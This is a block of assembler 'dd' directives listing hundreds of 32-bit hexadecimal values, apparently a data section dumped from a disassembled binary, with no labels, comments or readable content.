		dd 678CE2ECh, 0E4FFCC7Fh, 0FA453340h, 6094E9h, 8C52C462h
		dd 8211254Dh, 33B1AA21h, 84425AABh, 0EE562913h,	0EE825E81h
		dd 81453A09h, 9FC70F08h, 13B9548Ah, 0A5972340h,	0D98C0343h
		dd 15000EEAh, 75255D50h, 0F05A1Eh, 6B81B0FAh, 8D67600Ah
		dd 0DF8CDA1Eh, 105E24Fh, 107F3DBCh, 202A8FF2h, 2AACFA3Eh
		dd 32CA7D0Bh, 611B1E86h, 17C8A080h, 6275FD76h, 1B662AFCh
		dd 122502AEh, 33DBC010h, 6E42674Ah, 0FA887C15h,	4CC0082h
		dd 8A51344Eh, 27673A86h, 0C120BC22h, 50EA191Bh,	1A24B0Bh
		dd 387AA762h, 0CFFF2FBFh, 579A3432h, 9144E9h, 995A4D11h
		dd 0F5B13FEFh, 0F081690Fh, 8E1042A3h, 1A54AA04h, 6819C204h
		dd 200CB892h, 1A239D35h, 94070E00h, 0B0D1346Ah,	3E3BB08Bh
		dd 26E58969h, 4F6600EAh, 11A171BCh, 0E959F915h,	2A007EFCh
		dd 0F71836E4h, 387B4061h, 0DBCA0A9h, 0D11448BDh, 511E21E9h
		dd 541E404Bh, 817EBF72h, 6052EF0Eh, 1032015Ch, 0A84C0483h
		dd 825B01FFh, 9C3713CFh, 8CF3D90Ch, 0C06A358h, 7E840A36h
		dd 69EA30h, 0CC5D8588h,	5C06BE11h, 0B994625h, 14AC0A2Ch
		dd 80460C83h, 6C89DCCBh, 6700177Ch, 5C39A4BFh, 0B8029053h
		dd 0C127C099h, 0E5B819EBh, 39C86C00h, 0E635C637h, 3F440097h
		dd 0A9584034h, 31C010E9h, 9F15AEAAh, 186F1CA2h,	517B802Ah
		dd 40A688DEh, 0CCF8CEC0h, 35C7C53h, 3EA8460h, 41A042BCh
		dd 10E24A4Ch, 0C47B8748h, 4E8202E9h, 0F948C86Dh, 5E941FEAh
		dd 0D7230022h, 0A7C3E7BDh, 74702900h, 2F8C3F9Ah, 0E9F01853h
		dd 42842998h, 0C4E42E1Ch, 803EE6DCh, 945A6723h,	225DEh
		dd 0D79C5E9Dh, 8110CD40h, 563B5D18h, 2F0D18h, 0A0054BBFh
		dd 41732634h, 85E4B290h, 3E00FEFAh, 8755B59Ah, 1F240F3Dh
		dd 808B4194h, 1ED3AB3Ch, 3101AA9Fh, 62715453h, 90805876h
		dd 407D169Dh, 5538EE3Ah, 2491044Fh, 0D280C751h,	4C6081h
		dd 3CF906E7h, 0DD7D269Fh, 7E5CD300h, 858913D9h,	0ECA1000Ch
		dd 5499078Ah, 0CA7BDDC4h, 6A2DC00h, 70B61E62h, 198400D2h
		dd 0E8AFF3A1h, 0FE0C608Fh, 2981E2DDh, 0DF7E03B1h, 0D99401D0h
		dd 0A364FFD8h, 5C004875h, 7213045Ah, 0EBEE2F0h,	0C0F2C575h
		dd 2967019Eh, 0E087F45Dh, 49E8C115h, 1096DD32h,	651880FDh
		dd 6DED3Bh, 2233E485h, 0F9358A94h, 0D583C100h, 15636573h
		dd 0CD20C161h, 81E33DC8h, 31EA5018h, 509C8855h,	48FF06EEh
		dd 1504597Ah, 71FD63BDh, 73134300h, 1C016FF3h, 51E2F6EFh
		dd 8080E8C5h, 6EE5B9F0h, 2B3C232Dh, 7D6480A4h, 0A0C20913h
		dd 4AF53AFBh, 0B7D0FC00h, 26EF1507h, 33ED40C1h,	60896579h
		dd 130F139Eh, 114DAE23h, 4A601CC0h, 0E260BA60h,	0FEB0B7h
		dd 0EEB41EFCh, 87706AA4h, 8D2EFF1Eh, 0A900842Ah, 0E1887711h
		dd 0A36339Bh, 31BB7A78h, 99E98488h, 22670096h, 18B0B9A6h
		dd 0F16215C2h, 0B2009850h, 82EA5C2Ah, 7216565Eh, 44B893h
		dd 0C41B2FDBh, 23F55077h, 1A7E8D00h, 0F135FF85h, 58B8614Fh
		dd 80B966EBh, 39F49EB1h, 54BFBBh, 873DC4EEh, 5D9D1D9Bh
		dd 0E3C520h, 890D3CF0h,	63345B4h, 3B79781Dh, 0ACE99CCFh
		dd 1B7C9974h, 48AD9319h, 36CB022h, 58831605h, 63C0CBD0h
		dd 17014EE4h, 68F38039h, 0D448151Dh, 0C1C0EEEBh, 49E8CD99h
		dd 69B082E4h, 8150053Bh, 0E7F1B7C0h, 6893A457h,	408E8A51h
		dd 628F50Ch, 0C5D09DACh, 801B9E1h, 6E2E43F3h, 0E848B5E8h
		dd 0D86353EBh, 4CCF629h, 92E91365h, 0D8985340h,	0A0005204h
		dd 3970CDA6h, 0C392A5F9h, 3187FC98h, 8000E2CBh,	829DF8D0h
		dd 7A9451h, 0D15A256Eh,	0EC4D156Ch, 0D708CD60h,	15BD6A66h
		dd 906F16C2h, 93420200h, 0B0DD74B2h, 20611000h,	521C68F4h
		dd 723501D9h, 81496794h, 0CE688D84h, 20EA40F5h,	376EC9B4h
		dd 0F768CD1Ch, 156519C0h, 74A2785h, 734E2203h, 316E96E4h
		dd 0DF5A000h, 25C080FDh, 4E5A006Fh, 4D74B938h, 0BFFE496Eh
		dd 98868C2h, 84C4473h, 0B09520D5h, 1C05F50Fh, 0C018A91Bh
		dd 3041E256h, 0BA389FADh, 0C348FD69h, 491D0604h, 0C18B717h
		dd 0FF914175h, 0D0A89E50h, 0C16C39E2h, 15FB487Eh, 0D4D07044h
		dd 65634D07h, 0D77171E7h, 665080A3h, 0B8F401FEh, 0AC0800BFh
		dd 6B5CCD1h, 5C0709F3h,	0B96C7587h, 0EE50A7E7h,	0FEADDDh
		dd 0CC0ED746h, 34AB62BCh, 54009074h, 524E6E50h,	1EDD1413h
		dd 7748B5Ah, 0C0257DB6h, 0A42D0B62h, 8F87C00h, 46F6ADC7h
		dd 912900DFh, 0F50C3A8h, 600367A5h, 0C4A0B5FDh,	0B852A033h
		dd 0EB0112EEh, 0F49000DCh, 0E18D4179h, 4B9480A0h, 0BB077C02h
		dd 20B54A56h, 41587A2Fh, 3F70EE58h, 67BA1370h, 19358430h
		dd 0DD8B4009h, 74CD4238h, 0EF0D109Ah, 28473D63h, 0EAC9C801h
		dd 226CEB01h, 55FC50A4h, 879C40h, 0DBEE9E74h, 0A0C53167h
		dd 0AA1C98CEh, 0F680C892h, 0D11FC1A4h, 709796Ah, 4443072Eh
		dd 0FABBC163h, 9EC2314h, 0F21B86h, 0F4719B5Eh, 3BF800CCh
		dd 0C4D391CBh, 1147559h, 0DCBEEFh, 0BD781E5Fh, 0A0498133h
		dd 0A293DD6Ch, 10F09364h, 1EE6CDB0h, 0C930E91Eh, 50EB88BEh
		dd 10B56C6Bh, 48B0C920h, 0A33301E0h, 4D556B65h,	0EE9D4880h
		dd 94E286ACh, 0E1CFE573h, 0FB130784h, 8F8C2FA0h, 0E709277h
		dd 0B4ED0586h, 61F4AA80h, 0B8C9CC63h, 98BC9814h, 93CD00ABh
		dd 0F3B7C911h, 2607A29Ah, 182D99C5h, 0E57F4B30h, 74EBFEB8h
		dd 9EA9C262h, 40846C6Ah, 0F118C265h, 0A7BA1C01h, 8EF5F088h
		dd 0B75FF602h, 0D3C64EAh, 5CC133E5h, 30A5E9D0h,	76412B90h
		dd 88F11431h, 3052E001h, 50887164h, 863D00C3h, 0AA343319h
		dd 0EE38514Dh, 89F6B16Ah, 0D9CCD573h, 0F720A89Bh, 21E14151h
		dd 2B843030h, 0FE0135F8h
		dd 2C976AC1h, 0B1FB7B4Dh, 64203365h, 487E62FBh,	6F00E82Dh
		dd 14F4DEA6h, 0A0CB3371h, 7534E908h, 0ECE4849Eh, 0E011B91Bh
		dd 65691385h, 346E056h,	9301F414h, 396B4117h, 878AB50Bh
		dd 0B7724E2Ch, 559040AFh, 0BA9D8064h, 40E9CD16h, 67154420h
		dd 5D6D07A5h, 4441A34Dh, 6540D097h, 9A329D1Bh, 0C1F43888h
		dd 688CA72Ch, 6B20B660h, 584FA130h, 395F1630h, 37849DC1h
		dd 0C083F511h, 0E8946E5Fh, 0AAFDC1C0h, 214376h,	1EEF0E68h
		dd 0BC13573h, 1168DF5Dh, 0D8405D6Bh, 219D337h, 9BA5295Ch
		dd 44C82302h, 6D6B0FC0h, 0EFE00519h, 0BDB15FB3h, 0D0A92F00h
		dd 0D81A4618h, 691C0564h, 0D0358733h, 5B61EE48h, 47C8D464h
		dd 0AA008410h, 56C5E3E5h, 0BD3D16B4h, 3F71879Dh, 47535F38h
		dd 0BC2901ACh, 0DA24A390h, 0EE80EB36h, 0B7008C31h, 0A5432592h
		dd 0BFBDB1Fh, 45E8B552h, 6030C8A9h, 8E007894h, 0B9AE9F51h
		dd 18ED4C60h, 90D7A339h, 0E879BD5Dh, 330D68B9h,	0FC60B957h
		dd 13E7441Dh, 33814CF4h, 18ED944Ch, 31475D1Bh, 0B04011E1h
		dd 0BDA23887h, 10AD991Ah, 11006046h, 250BAFA9h,	73ABA6D2h
		dd 0CEB1004Fh, 0C7F5D02Bh, 0F090E565h, 36B96F20h, 0E0C9F847h
		dd 4833520h, 0C80684BAh, 0D78490EAh, 8D2A26B7h,	0EA98FCE6h
		dd 0FF01AC00h, 0A90B423Ah, 3637383h, 849D9834h,	9105FAC5h
		dd 857D2987h, 2A47F405h, 9445E481h, 13195400h, 0E388DA60h
		dd 4C44A084h, 0DCC03867h, 75654699h, 7103117Eh,	0B52D5090h
		dd 0B1C888E4h, 0E6A90119h, 472CEFCEh, 90C717B4h, 3C1C0310h
		dd 0AE260284h, 0CD3B65D9h, 0ADEB7C48h, 7CB3F800h, 9E1ADD6Dh
		dd 0D99F6094h, 8474F3D9h, 35633C00h, 7686F0A8h,	2CD8E707h
		dd 0E6C400FAh, 829FFC45h, 89844F6h, 17C8F462h, 0ECE800C2h
		dd 644D716Ah, 6B067B10h, 0B5CF39F4h, 5D80320h, 0B347A715h
		dd 8292B100h, 3768DE65h, 93220573h, 8224ED86h, 0F0A0C110h
		dd 0F8B755E7h, 5879C037h, 7115A951h, 0B6209450h, 37E63243h
		dd 90600510h, 0F810CD73h, 1864AFB5h, 9C10C815h,	45D38001h
		dd 3EEC489Bh, 0C040C45h, 1118DFF7h, 0D9C2FB71h,	0E808416Bh
		dd 0A9F19464h, 13202198h, 0C1761F4Bh, 19A0186Bh, 77E20BA6h
		dd 0E9D34C1Ch, 67C8AE00h, 1A35BEDh, 0C3558453h,	28BA0447h
		dd 0E54910CCh, 1D1B8504h, 0C278846Ch, 8CE82113h, 2892E9C5h
		dd 88B64C00h, 6C66E058h, 21B40018h, 272B1536h, 633E6590h
		dd 1340E411h, 0A7752488h, 5711104h, 36BB6369h, 405DC088h
		dd 3B186FEEh, 0BE18377Bh, 0BD74386Ah, 0CDA440E4h, 0E66020ACh
		dd 7999B788h, 33D20F9Ah, 99D9432h, 0FC806576h, 517C5871h
		dd 0D8127D4Ah, 7A5481Ch, 0B82A7914h, 217CB108h,	61488030h
		dd 1F70047Bh, 0DA51D200h, 0F699ED75h, 53C52933h, 0B87A0898h
		dd 0C8315824h, 4200E0B7h, 9A0096E5h, 0F5476A1Eh, 4C1D86F4h
		dd 330DDD3Eh, 0D529B3F1h, 58E1AC76h, 0C26A6080h, 72E14251h
		dd 528A207h, 8C42C7B4h,	4938DE33h, 31D0FB4Ch, 0B8E96225h
		dd 8902FEEh, 0B8AA7494h, 712AAC14h, 5D7EA09Fh, 0B939EE15h
		dd 3B050684h, 379BBF1h,	0F6FBD9F4h, 2124DD39h, 0ED188CE2h
		dd 2AC22F59h, 0C18C93Bh, 0AA7B2965h, 7703F680h,	716B077Dh
		dd 0CA71009Bh, 0DF1B0A50h, 941D423Dh, 0ADC11A34h, 0BFBABEC8h
		dd 4143C098h, 47242F1Ch, 968020A9h, 0C2834C12h,	868400FCh
		dd 0E68E899Fh, 0FB287594h, 11FF98ADh, 0C2080B6Fh, 123D9422h
		dd 40EB47A8h, 0E15022C0h, 520016FCh, 0E53734DEh, 0E109BE8h
		dd 0F3ED244Ch, 0F4352B80h, 0CA00A166h, 0DCF969Eh, 0F2BAA3C1h
		dd 0E16A2C45h, 0D2140019h, 52F4293Ch, 7A1F2B00h, 4002B4DFh
		dd 445A0010h, 89FD569Dh, 5F67CB97h, 5042C040h, 1405006Bh
		dd 3F003D31h, 3D1521Dh,	0BF2858h, 352701EEh, 0FAA82138h
		dd 0A868900h, 911DC20Dh, 9D5C265Fh, 4D0701CCh, 0F1353D34h
		dd 46C022A4h, 43F5AB04h, 4E1CF1F8h, 203F03B1h, 1A0B2ED8h
		dd 80BF3056h, 333B6230h, 0F9920074h, 5F099793h,	8572A2B0h
		dd 0B32F4B06h, 3E401BC9h, 9F003739h, 284448CDh,	100E384h
		dd 75250ED5h, 3DEF15Bh,	0AA2F26F0h, 4CC8B9E0h, 5080E133h
		dd 3A32202Ch, 4D482703h, 8D02BE21h, 0A03F6280h,	0D8C600A7h
		dd 6E630993h, 5B71B5AFh, 0CCB37000h, 62C7B59h, 0E2A20124h
		dd 214E0D29h, 4B3831B0h, 0F7C0AE94h, 38305307h,	59F43900h
		dd 287F482Bh, 20101BEh,	2125362Ah, 0CF940058h, 0B0A70061h
		dd 9D0FA8BAh, 1B0EF6AFh, 0A034294Bh, 1F9BE420h,	0BFDA0056h
		dd 4DF5335h, 0A30F6628h, 0C0EFC2ADh, 8BA4B16Bh,	2F0300A5h
		dd 4D1DF6B0h, 40C0332Ah, 79069BE6h, 35BC0028h, 413A2B7Dh
		dd 0BB07AF73h, 5F139497h, 588BE0D0h, 0B09D0050h, 0DE4D12B8h
		dd 0F100F63Dh, 7905D0E8h, 593FBC2Eh, 0FCAA8C76h, 0F35C0049h
		dd 3C301416h, 0EB3BF424h, 2F50802Bh, 0F6023FF0h, 0CB00E33Bh
		dd 0DFC8D8Ah, 7CA8AD00h, 0E49E50A3h, 571603FAh,	0E1416F29h
		dd 8018D6C0h, 0E9B02700h, 3373264Ch, 0BE55009Fh, 1D32939Bh
		dd 5D00C7B1h, 0AE2A5BA4h, 244E22B8h, 0F93631h, 4948D79Bh
		dd 1EEEDD6h, 263EFC00h,	9DBBA576h, 20CF0E88h, 0A3E0A4BCh
		dd 0B8976B4Ch, 224BE500h, 9FE7F640h, 0B0300CFh,	6FFBEE0h
		dd 295873D6h, 4F422ACh,	86A2A91Ah, 14E0E1A5h, 0FE046F88h
		dd 0A6296F80h, 310099F3h, 258B2EACh, 2992CC7Ah,	5634C075h
		dd 95FAB100h, 92CD9001h, 0F644001Ch, 82B9558Bh,	1CAE11E1h
		dd 4F254712h, 40E5D0F4h, 6200FC92h, 0A2673BEBh,	30A17594h
		dd 0DE39BB4Ah, 0DB1F2F60h, 0E68B0A35h, 0D20CC23Dh, 28810024h
		dd 6F64AB2Fh, 13E6EE60h, 0A405B87Fh, 0CE1B39F6h, 7E9174B0h
		dd 5B3B7474h, 19C0175h,	0FC6BD29Fh, 0BD603A30h,	0B4193951h
		dd 73D30207h, 5D634DFBh, 29D1CB1h, 9CDAFDh, 0D3111B69h
		dd 0A707E487h, 15D9570Ch, 0FE7FF970h, 207403AFh, 0E15A59A0h
		dd 80A0A8C4h, 78EB7C1Fh, 0A9AE00EFh, 90794D27h,	8B3FBBD3h
		dd 2EF99443h, 0FCA0008Ch, 25668D22h, 0A8E554C5h, 46F2001Bh
		dd 631DDCC9h, 0EF01162Ah, 49205288h, 32BE471h, 2766EB5Ch
		dd 7E507118h, 887169D0h, 1254746Ah, 22F0C880h, 61C09DE6h
		dd 5BB66782h, 518A0F6Ah, 83A1FF4h, 210000DAh, 0E181B66Fh
		dd 0F8E9A0E7h, 59C201BFh, 79193320h, 580F2B99h,	67A602C3h
		dd 0D03C8C63h, 0DCBA14D2h, 0C13C3878h, 657A4C80h, 0EB22E2E6h
		dd 0D896204Bh, 0B2892050h, 416E571Eh, 84A4A952h, 12DB40DFh
		dd 8CFEA007h, 0C8406EACh, 646AE174h, 602CD820h,	0FC55B665h
		dd 95448C7Ah, 0B66D00DFh, 0B18A0899h, 0F70330A2h, 0C11B67E1h
		dd 3EC01E51h, 416B4FA7h, 0A406891Ah, 340641A0h,	90C8E5A5h
		dd 0AE7D11h, 5F981522h,	0E718A87Ah, 0EE3DC300h,	2F514E9Dh
		dd 4E23EC6Eh, 4AFC81D8h, 0CBF987ADh, 9730E178h,	737A7ED9h
		dd 0BBF900AEh, 670BFE32h, 0BD006AE2h, 42E566D8h, 498D71E1h
		dd 90014CEFh, 6560FBDBh, 6DEAE7CEh, 0E360A4F8h,	0FBD3B121h
		dd 5DEA01A6h, 4B61BB43h, 8A444A8h, 64C02798h, 466A52B6h
		dd 972272h, 0F5B66CE0h,	2A236311h, 0F7059B03h, 92A0EE34h
		dd 0F94B0DBh, 16D312F0h, 55904077h, 0F4696059h,	0C2854C03h
		dd 0A386B4FCh, 38210063h, 0A37B5DA1h, 3B4FE9C5h, 20011888h
		dd 0D211ABCBh, 24017015h, 0C74DE443h, 711DDC66h, 0C23967EAh
		dd 0AD139851h, 7494E466h
		dd 793B2A77h, 0E1073DE8h, 4404BA6h, 0B9C513EFh,	0C7FC00F4h
		dd 0BF2CC8FFh, 5E4133A1h, 71067CC9h, 0CB1719F4h, 0DB332489h
		dd 94A53E2Eh, 9C67C4E8h, 0ACD76600h, 0E5C1354Dh, 2C02952Bh
		dd 0D8B06EE1h, 5D10FBDAh, 0B0E02665h, 770FFBD2h, 0C7B45A19h
		dd 0D0F96BEDh, 78634C58h, 0BA48710h, 0EBF8B79Fh, 6D682320h
		dd 24FBD701h, 0E1182E65h, 3ACFAD88h, 6A8669FBh,	0F082C941h
		dd 0E3F8F619h, 62108858h, 0B896465Ch, 0D446ECA0h, 68605602h
		dd 643144F4h, 605E3310h, 894C453Ah, 81D0B3A3h, 889C054Ch
		dd 9E9FF08h, 9B88484Bh,	9DD4C8C0h, 4AC30030h, 0FDA9E134h
		dd 6124BA9Eh, 26647477h, 57B66360h, 448C6A71h, 6B1DDD94h
		dd 7E8993B6h, 408C7015h, 0F914359Bh, 2EC8D49h, 4151E24Dh
		dd 7C5492h, 0F93B5967h,	20C18FE5h, 7942E9F0h, 45E88456h
		dd 467058EEh, 408B613Eh, 0FDE52268h, 186FE889h,	5AFB09D9h
		dd 1C1CFE65h, 0FBD1B307h, 0C010C61Bh, 0E1802FFh, 61505C7Ch
		dd 0CC830C09h, 0C9089DD5h, 5998DE9h, 8BCA26Fh, 58C0D2ECh
		dd 0A2F46660h, 7FD896E8h, 3B7E235h, 4FE96FDFh, 0BDF165DEh
		dd 78032B30h, 509A9D19h, 14073F60h, 30D1F010h, 67605B80h
		dd 85437CF4h, 32F19E30h, 277C5DA3h, 0EA62E3Eh, 37B4D74h
		dd 0B9855F8h, 16795F58h, 0DD02345Ah, 8D0A2FA8h,	0BD88A0ECh
		dd 8830B0h, 0E04FDC27h,	82EE2857h, 484A602Dh, 888D6Ch
		dd 0B6A59293h, 0C0741258h, 40372DB0h, 0F17091EFh, 9876EE45h
		dd 276E00C3h, 4CB75162h, 2D27374Eh, 0C9C0E225h,	0EC481658h
		dd 8AA4001Bh, 0C4AAF62Fh, 5416F444h, 640466D7h,	9C10E263h
		dd 3305DE48h, 4488A025h, 0E7F99Ch, 3EEC6369h, 206AF98Ch
		dd 0F7B46E04h, 2435100h, 290759ACh, 3BC09810h, 0C0D8D5DEh
		dd 4D255458h, 0E31DD4C8h, 0EF33E580h, 0C89E00D2h, 5890FF97h
		dd 8AFE120h, 0A441E9EDh, 8FC81584h, 40005F4Fh, 34BB3B5Ah
		dd 91925B0Ch, 0B1D1C83h, 158A8170h, 0CD003452h,	0AFC548CFh
		dd 0C6B10Fh, 0D264EEF3h, 0B490A549h, 3BE51D0Fh,	0D3196F67h
		dd 19FFB0A0h, 1837139Dh, 0E4223FB3h, 8A544323h,	65EB0282h
		dd 0B7855C76h, 0F440EAF7h, 2A96D85Fh, 39BB13C2h, 0EDBCB48Dh
		dd 70655501h, 27D6C72Eh, 0F0F4F661h, 6FDB01DAh,	75C036Ah
		dd 0A4D861C1h, 4674A060h, 6CEE0095h, 0A24DCD4Bh, 0FF173B34h
		dd 0DB2D70Ah, 8420CBE0h, 0FBBD7BBFh, 2C9E5202h,	0DC4D3BE7h
		dd 6E640218h, 468F771h,	0C226B7FFh, 0E4255CD6h,	0DF043E24h
		dd 7C509200h, 0DB01F4EEh, 0A091D95Ah, 0E107E90Dh, 345663EBh
		dd 0E13E33D8h, 0F8E06069h, 694D4165h, 44792898h, 1880D11Eh
		dd 9E0FA673h, 0C45C00B5h, 0BC0A1790h, 0C524C0AAh, 628004CEh
		dd 0EC60D1E8h, 14A2B53Ah, 88E6656Ah, 0B0F48038h, 0EBDAF086h
		dd 0E40F2EE5h, 944674CCh, 9886797Ah, 0C10F2EE4h, 91467C58h
		dd 0B517683Fh, 50C0457h, 2660947h, 1D81B40h, 4275C662h
		dd 0D05E389Ch, 9FE03E02h, 8540E0A4h, 879D4E6Bh,	54D849B8h
		dd 75C4B040h, 530A243Dh, 947509A4h, 930FC99h, 0C8804FF9h
		dd 93EB624Eh, 311779A0h, 9422F1E5h, 605730CDh, 5CF46311h
		dd 0EF9984h, 8605F36h, 0E79C0070h, 9F3893F5h, 19106EBCh
		dd 471AB4FBh, 6874C902h, 826AE540h, 0AE9B2EDEh,	0E33D0870h
		dd 0B8F371E1h, 69416700h, 4C4880BAh, 29A8204Ch,	0FC1612h
		dd 238CF1D7h, 3F09E532h, 20EB8E1Fh, 0D3AF5428h,	21570099h
		dd 0A66B0CECh, 2D3CEA47h, 0E98E9922h, 32604A29h, 28B30F8Fh
		dd 0D1A0F8EBh, 0D8DD7C65h, 0B1B635Ch, 0B7E5EF68h, 0C402BF6Ch
		dd 980D31BDh, 0C4CE1505h, 1AC09788h, 176C78Eh, 49C67CFCh
		dd 505761EFh, 0F5C1C894h, 8064DA25h, 0E93243DCh, 79833071h
		dd 0EC131F20h, 7EA4F602h, 7C271956h, 4BD20414h,	4E80B068h
		dd 0C4236127h, 0A028EF20h, 0EF439EF8h, 35294301h, 0C6ECDC06h
		dd 62ED1861h, 68EB1288h, 0F7CEB4D7h, 1B08B8A2h,	2E0952D9h
		dd 0DBA0908Eh, 81B802F7h, 0D8F46D96h, 0EF40F4DEh, 16C86699h
		dd 30256314h, 0A6167B14h, 5EDCE200h, 4231B8BCh,	27641FEAh
		dd 0C3E2CF4h, 1C796915h, 0E131DB1Ch, 8C0D61Ch, 94F8FD21h
		dd 1152001Eh, 2EE8FEA0h, 55271935h, 13D860E1h, 0A8766049h
		dd 6B69A334h, 103E5430h, 0FF607594h, 5D80283Ch,	3235DA2Fh
		dd 7EAA448Ch, 982F2507h, 70A0AF20h, 0BDDBE7h, 44B5B3F5h
		dd 91F13992h, 6004E094h, 9082ED7Ch, 45ECA1DDh, 854B2B4h
		dd 345CECE9h, 0F88C9EBCh, 11B800C7h, 40A6528Eh,	49126A72h
		dd 2C8099D9h, 2E15FF32h, 9248E88h, 7CF195A1h, 61EB3082h
		dd 0E9EC90B3h, 333788F1h, 0C0008D7Ah, 0C4883ACAh, 0BD15705Ah
		dd 23F77C10h, 10007B90h, 384E5EC6h, 4E4D7C46h, 86F4C3D8h
		dd 0C7C8B59Bh, 6CA425BEh, 3A98665Ch, 226CD26Ah,	6E220196h
		dd 316853B6h, 60006B61h, 0A1586D13h, 9598C017h,	51799649h
		dd 209DE134h, 0B69BAC81h, 0A8840205h, 0CF248D77h, 65601067h
		dd 8643ACF4h, 3C64904Fh, 730B605Dh, 895AED4Bh, 0F3BC0188h
		dd 0B838E12Bh, 0BAB1429Ch, 3140F525h, 1E00449Ch, 9B6F3315h
		dd 5021C9ABh, 3041DCBEh, 0FFA0BA09h, 3802D113h,	65632D9Dh
		dd 81D8E09Eh, 4AF039C2h, 149559E0h, 6E096B7Ah, 0FA596713h
		dd 0F05FF070h, 54B26E2h, 11DC4838h, 0E9DC50C1h,	5DB72713h
		dd 0C06C5408h, 655FFBD8h, 9822D646h, 0FBD0AA00h, 99A0A93Fh
		dd 39EB0113h, 0E761EEEFh, 0B40404D4h, 0B90B921Dh, 34C04CB2h
		dd 0EE5379DAh, 0EF99A1B4h, 1DE5C00Dh, 0F222300Eh, 0ED5081D7h
		dd 0D43C4B71h, 0EF353100h, 40FC1FDAh, 8A9EC900h, 16576C13h
		dd 3469C06Ah, 49086927h, 2AC0FD03h, 0A89776A6h,	16D8D6EFh
		dd 4F4B510h, 0EA58A8h, 15BFDBF5h, 1341C0B1h, 0EEBA3632h
		dd 54B3012Ch, 19496783h, 6AF005E5h, 0FDBEE462h,	819D1040h
		dd 642EFC1Fh, 0F4479608h, 9500ECC4h, 7DCEB622h,	1E63B745h
		dd 81469A8Eh, 93B6FF4h,	0C8223F65h, 6B352099h, 0B71A239Ch
		dd 0C6990915h, 0FCBD00B0h, 26B81135h, 45006B72h, 0ED30AB01h
		dd 317315FBh, 7450BC6Fh, 31E51029h, 0A8F364B1h,	48E8888Dh
		dd 8988270Bh, 0F2C64E9h, 832206F2h, 0A32A0B00h,	5C008666h
		dd 94597789h, 724A9F6h,	1933C157h, 7440E9BDh, 0C813B595h
		dd 0AC218725h, 7072712Dh, 0BF536108h, 0A158470Bh, 51E8BD24h
		dd 3324057Ah, 0B3A4B4E4h, 0ADA5EBF9h, 30B91004h, 5B90C128h
		dd 8B38242Ah, 0C0978820h, 26682932h, 0A0016DE4h, 3165D6EEh
		dd 64248871h, 57D6CD67h, 80402870h, 0DADEE38Eh,	495E00ECh
		dd 872AD01Bh, 7800A072h, 0BF5DC13Dh, 0D612458Fh, 10C03A31h
		dd 81C0F064h, 67027140h, 62C1CB00h, 66EB8DC8h, 0C08CAAB7h
		dd 15E3FA08h, 0E0B99499h, 0E40E4448h, 88829AD5h, 6C412A78h
		dd 0F8AC3CECh, 0EF439Eh, 0F7A8CCC4h, 7B79918Dh,	0A1E1148Bh
		dd 320EC884h, 9F450319h, 5F908224h, 112F5E30h, 885A35D5h
		dd 267B80A6h, 6FEC152Fh, 0D14B583Dh, 74CACAE8h,	977920D9h
		dd 0F6000B18h, 0A8A6BBC8h, 0BF15E935h, 7D704400h, 0BD5F94C2h
		dd 2029D8C8h, 0B92C931Dh, 9C209F4Dh, 61D998B9h,	208BD859h
		dd 0DCA2AB71h, 19409EDAh, 4A5EA11Bh, 0E2812891h, 4FEC4D00h
		dd 200B8374h, 0C49D7D49h, 827CE8B0h, 605EA804h,	2EDC2F5Bh
		dd 70380235h, 20C72380h, 0B3F00D72h, 5D18EF2h, 0D6FFA0BDh
		dd 2E27825Eh, 72642CC6h
		dd 5260D0E8h, 0F42C6460h, 37707CA4h, 3E60045Ah,	806B6524h
		dd 9DCA2398h, 6A7AD109h, 0DFB89315h, 627054D0h,	5C6C00CDh
		dd 4C7A4008h, 860084F5h, 0F4BBA031h, 0BAE5F935h, 0A81CB9BCh
		dd 193D69B9h, 88815CC6h, 85F185Ah, 2235D82Fh, 7C40B0C4h
		dd 0C6A42F27h, 5D70CA1Dh, 5071E9C0h, 90EE4983h,	0E38520F4h
		dd 1301F40Bh, 24007AD8h, 240D5EFh, 39E9A315h, 5D054CDAh
		dd 4B2D3B65h, 10CF8EDh,	6238ADB7h, 0F84A1828h, 0B04DE120h
		dd 0EBC8240Ch, 0BC048750h, 81E8101Dh, 0AE048D8Bh, 0EF2653D4h
		dd 85FC30AAh, 54403D33h, 4E1C0763h, 0BED5B837h,	0C966CDE7h
		dd 269E8C99h, 0D6A0F7E8h, 39CCC3h, 44A0B234h, 6473B51Fh
		dd 139A0D01h, 0EAC8D4A7h, 39B8B980h, 562AA260h,	38549900h
		dd 96DE94A5h, 0F4FC0064h, 0D00E9886h, 0B3713ED4h, 1407C80Bh
		dd 0E18C8167h, 0DC7CEC59h, 15057A02h, 6053C74Dh, 8AFB58h
		dd 83ED18A6h, 0D28E793Fh, 70963379h, 1B714C02h,	41270FACh
		dd 270F4855h, 6BE584EDh, 983080F4h, 0F4694488h,	60BF192Eh
		dd 0F0CF3147h, 23B8BD28h, 440048ADh, 8AB1C5AFh,	3F3916F6h
		dd 0F17CF4B4h, 1785EC44h, 0D171F51Bh, 62930904h, 49B1125Ch
		dd 903294A2h, 446165E1h, 61BA00BFh, 0C9D66FAFh,	18A04984h
		dd 86CBBF70h, 1065A644h, 447FD13h, 834DF93Bh, 444110F4h
		dd 6114767Fh, 1074DB47h, 8D2F94E5h, 0AD56B868h,	0BC908502h
		dd 0C0AB57ACh, 9624DBh,	19D420EAh, 8E62A158h, 0D31E260h
		dd 8B1B95h, 0FADF280Fh,	0EAB7EE25h, 527571C3h, 59903DD8h
		dd 33421142h, 706D1300h, 384D9FB5h, 17D15D3Ch, 0A8C1C163h
		dd 28A935BBh, 18A3D1F8h, 88C7013Fh, 0FAB64A71h,	0C9F42110h
		dd 0E1FC0389h, 9D01B93Fh, 9738B97Eh, 848B4CB7h,	9AC097C8h
		dd 0DFA066h, 984C2892h,	6A2169F0h, 239124B4h, 56B66883h
		dd 9A3192FAh, 0B6702410h, 626B0406h, 20B8D8C4h,	0F400998Dh
		dd 0CB0B1FEDh, 326DB86Ah, 28602A46h, 12B66930h,	389A6A59h
		dd 710323A4h, 786725B6h, 9177E856h, 4A21257Ch, 0CF60ECAFh
		dd 90CE89B0h, 0F05A900h, 44C41174h, 0D7540596h,	0B05120B5h
		dd 13256764h, 0E2A05A01h, 6DB0C4F4h, 0BD6A0194h, 5C7D2967h
		dd 0C6D6F500h, 0DD72E939h, 25586280h, 34657535h, 196099E4h
		dd 4E00909Bh, 0A3E813DEh, 2C67FEC7h, 80E07149h,	1CA024FFh
		dd 600BBF15h, 0E055C135h, 1DF6544h, 1DD2EEC2h, 638D6D49h
